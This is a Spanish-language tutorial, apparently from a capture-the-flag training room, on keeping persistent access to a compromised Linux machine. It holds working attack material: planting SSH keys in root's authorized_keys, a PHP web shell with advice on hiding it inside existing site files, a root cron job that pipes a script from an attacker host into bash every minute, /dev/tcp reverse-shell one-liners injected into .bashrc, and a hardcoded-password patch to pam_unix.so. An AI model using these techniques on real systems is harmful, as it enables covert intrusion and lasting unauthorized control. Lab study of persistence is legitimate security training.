Esta habitación está dedicada a las técnicas más comunes para crear puertas traseras en Linux.

Una puerta trasera es algo que podemos hacer para asegurar nuestro acceso consistente a una máquina cuando lo necesitemos.

De este modo, aunque la máquina se apague o se reinicie, aún seremos capaces de acceder a ella.

No son vulnerabilidades, simplemente maneras de acceder al objetivo.

1. Puertas traseras SSH

La puerta trasera SSH consiste en dejar nuestras llaves ssh en algún directorio /home de usuario. Normalmente, ese usuario sería el administrador, que tiene los mayores privilegios.

Así que vamos a generar un conjunto de llaves con ssh-keygen.

Para eso, ejecutamos:

ssh-keygen

Generación de llaves SSH

Ahora tenemos 2 llaves: 1 privada y 1 pública.

Con ellas podemos ir a /root/.ssh y dejar allí nuestra llave pública. No hay que olvidarse de renombrar esa llave pública como *authorized_keys*.

Si no existe el directorio .ssh, siempre podemos crearlo.

Ahora que hemos dejado nuestra puerta trasera, podemos identificarnos como root.

Antes de eso, la llave privada ha de tener los permisos adecuados:

chmod 600 id_rsa

Si no lo hacemos, ssh se quejará de que la llave no es bastante segura y no la usará.

Tras esto, podemos conectar con:

ssh -i id_rsa root@IP_Objetivo

Lo principal a tener en cuenta sobre esta puerta trasera es que no está oculta. Cualquiera, con los permisos adecuados, podría borrar nuestra llave pública o el archivo authorized_keys.

¿En qué directorio colocamos nuestras llaves?

.ssh

¿Qué opción usamos en ssh para conectar con nuestra llave privada?

-i

2. Puertas traseras PHP

Si conseguimos acceso de administrador en una máquina Linux, normalmente buscaremos credenciales y otra información útil en la raíz web, que normalmente está en /var/www/html

Lo que debemos tener en cuenta es que cualquier cosa que dejemos en ese directorio raíz /var/www/html estará disponible para cualquiera que use un navegador web.

Sabiendo eso, podemos crear un archivo php con el nombre que queramos y que contenga este código:

<?php
    if (isset($_REQUEST['cmd'])) {
        echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
    }
?>

Este código simplemente coge el parámetro «cmd» y ejecuta cualquier cosa que le alimentemos.

Nótese cómo estamos usando: «$_REQUEST[‘cmd’])», lo que significa que podemos pasarle un parámetro en datos GET o POST.

Ahora, guardamos el archivo y tratamos de llamarlo.

Si lo hemos dejado en /var/www/html/shell.php deberíamos poder accediendo a http://IP_OBJETIVO/shell.php

Si lo hemos dejado en otro directorio, lo buscamos accediendo a él: http://IP_Objetivo/directorio/shell.php

Hay varias cosas que podemos hacer para ocultar mejor esta puerta trasera:

  1. Añadir este pedazo de código a un archivo php que ya existe en /var/www/html. Si lo hacemos hacia la mitad de dicho archivo, será más discreto.
  2. Cambiar el parámetro «cmd» a otra cosa menos común.

3. Puertas traseras CronJob

Esta técnica consiste en crear un CronJob. Si echamos un vistazo al archivo de cronjobs, en /etc/cronjob, veremos algo como esto.

Puerta trasera Cronjob

Aquí se representan todas las tareas que están programadas para correr en algún momento en tu máquina.

Una vez tenemos acceso de administrador en una máquina, podemosañadir una tarea programada. Podríamos incluso configurar una tarea en la que, cada minuto, se nos envía una shell inversa.

Eso es exactamente lo que vamos a hacer.

Observemos la imagen de arriva, las dos letras que hay encima: m y h. Esas son las letras que indican si la tarea debe correr cada hora o cada minuto.

En el ejemplo de esa imagen, podemos ver que hay un símbolo «*» bajo la «h». Esto significa que la tarea correrá cada hora.

Para nuestra puerta trasera, añadimos esta línea a nuestro archivo cronjob.

* *  * * * root curl http://IP_de_ataque:8080/shell | bash

Observemos cómo hemos puesto un «*» a todo. Esto significa que va a correr cada minuto de cada hora de cada día, etc.

Luego usamos curl para descargar un archivo y con una tubería lo pasamos a bash.

El contenido del archivo shell puede ser simplemente:

#!/bin/bash
bash -i >& /dev/tcp/IP_Ataque/Puerto_abierto 0>&1

Para que funcione, debemos tener un servidor HTTP sirviendo nuestra shell, cosa que podemos conseguir con:

python3 -m http.server 8080

Del mismo modo, tenemos que tener activado un escuchador de netcat en el puerto de la shell inversa.

nc -lnvp Puerto_abierto

De nuevo, esta puerta trasera no está oculta, cualquiera que examine el archivo de cronjobs la va a ver.

4. Puertas traseras .bashrc

Si un usuario tiene a bash como su shell, el archivo .bashrc que hay en su directorio /home se ejecuta cuando se lanza una sesión interactiva.

Así que, si conoces a cualquier usuario que accede al sistema a menudo, puedes ejecutar este comando para incluir tu shell inversa en su .bashrc:

echo 'bash -1 >& /dev/tcp/IP_Ataque/Puerto_abierto 0>&1' >> ~/.bashrc

De nuevo, es importante tener un escuchador de Netcat activo en todo momento, ya que no sabes cuándo se va a identificar.

Este ataque es más discreto, ya que casi nadie examina su archivo .bashrc.

Por otra parte, no puedes saber cuándo se va a identificar el usuario en el sistema, así que a lo mejor toca esperar mucho.

5. Puertas traseras pam_unix.so

Hay muchas más puertas traseras que las descritas en esta habitación. Un buen recurso en el que aprender sobre puertas traseras es este artículo.

pam_unix.so es uno de los muchos archivos en Linux que es responsable del proceso de autenticación.

Autenticación en Linux con pam_unix.so

Como vemos en la imagen, pam_unix.so usa la función «unix_verify_password» para verificar la contraseña que el usuario ha proporcionado.

Echemos un vistazo a este otro pantallazo.

Autenticación en Linux con pam_unix.so

Podemos ver que se ha añadido una nueva línea al código:

if (strcmp(p, "0xMitsurugi") != 0 )

Vamos a diseccionarlo:

  • La función strcmp compara 2 cadenas. En el pantallazo, la variable «p» y la cadena «0xMitsurugi».
  • La variable p es la contraseña suministrada por el usuario.
  • También podemos ver «!=0» al final de la declaración. Esto significa «si no tiene éxito».
  • Así, si p no es igual a 0xMitsurugi, usaremos la función «unix_verify_password».
  • Pero si son lo mismo (apartado else), tenemos éxito y lo marcamos usando «PAM_SUCCESS;».

De este modo, esta puerta trasera consiste esencialmente en añadir nuestra propia contraseña a «pam_unix.so».

Ya que conoceremos la contraseña añadida al archivo, siempre seremos capaces de comunicarnos con ella hasta que se quite de «pam_unix.so».

Aunque casi nadie piensa en echar un vistazo a «pam_unix.so», esta técnica se está haciendo más y más popular, así que no podremos usarla siempre.